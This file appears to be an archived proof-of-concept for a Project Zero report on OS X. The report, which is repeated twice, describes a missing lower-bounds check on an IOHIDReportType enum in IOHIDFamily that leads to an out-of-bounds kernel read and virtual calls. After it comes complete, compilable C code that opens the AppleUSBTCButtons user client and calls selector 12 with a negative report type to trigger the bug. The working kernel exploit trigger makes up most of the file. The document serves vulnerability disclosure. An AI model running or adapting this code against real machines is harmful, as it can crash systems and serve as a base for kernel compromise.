|
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774 The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum, which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport: ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0] handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds check here too: if ( reportType >= kIOHIDReportTypeCount ) return kIOReturnBadArgument; reportType is then used here: element = GetHeadElement( GetReportHandlerSlot(reportID), reportType); while ( element ) { shouldTickle |= element->shouldTickleActivity(); changed |= element->processReport( reportID, where GetHeadElement is defined as: #define GetHeadElement(slot, type) _reportHandlers[slot].head[type] This leads to an OOB read off the head array followed by virtual function calls Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers. I can provide panic logs if required. */ // ianbeer // clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation /* OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum, which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport: ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0] handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds check here too: if ( reportType >= kIOHIDReportTypeCount ) return kIOReturnBadArgument; reportType is then used here: element = GetHeadElement( GetReportHandlerSlot(reportID), reportType); while ( element ) { shouldTickle |= element->shouldTickleActivity(); changed |= element->processReport( reportID, where GetHeadElement is defined as: #define GetHeadElement(slot, type) _reportHandlers[slot].head[type] This leads to an OOB read off the head array followed by virtual function calls Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2 Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers. I can provide panic logs if required. */ #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/time.h> #include <unistd.h> #include <libkern/OSAtomic.h> #include <mach/mach_error.h> #include <IOKit/IOKitLib.h> #include <CoreFoundation/CoreFoundation.h> io_connect_t get_user_client(const char* name, int type) { kern_return_t err; CFDictionaryRef matching; io_service_t service; // try IOServiceMatching matching = IOServiceMatching(name); service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching if (service == MACH_PORT_NULL) { // try IOServiceNameMatching matching = IOServiceNameMatching(name); service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); } if (service == MACH_PORT_NULL) { // try everything and look for a partial name match matching = IOServiceMatching("IOService"); io_iterator_t iterator; IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); int found_it = 0; while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) { io_name_t object_name; IOObjectGetClass(service, object_name); if (strstr(object_name, name)) { found_it = 1; break; } IOObjectRelease(service); } IOObjectRelease(iterator); if (!found_it) { // couldn't find any matches for the name anywhere return MACH_PORT_NULL; } } io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("IOServiceOpen failed: %s\n", mach_error_string(err)); IOObjectRelease(service); return MACH_PORT_NULL; } IOObjectRelease(service); return conn; } kern_return_t poc(io_connect_t client){ unsigned int selector; uint64_t inputScalar[16]; size_t inputScalarCnt = 0; uint8_t inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check inputScalar[1] = 0x00a90000; inputScalar[2] = 0; inputScalarCnt = 3; outputStructCnt = 0x1000; selector = 12; return IOConnectCallMethod( client, selector, inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); } int main(int argc, char** argv){ io_connect_t client = get_user_client("AppleUSBTCButtons", 0); if (client == MACH_PORT_NULL) { printf("no client\n"); return 1; } poc(client); return 0; }
|
|
|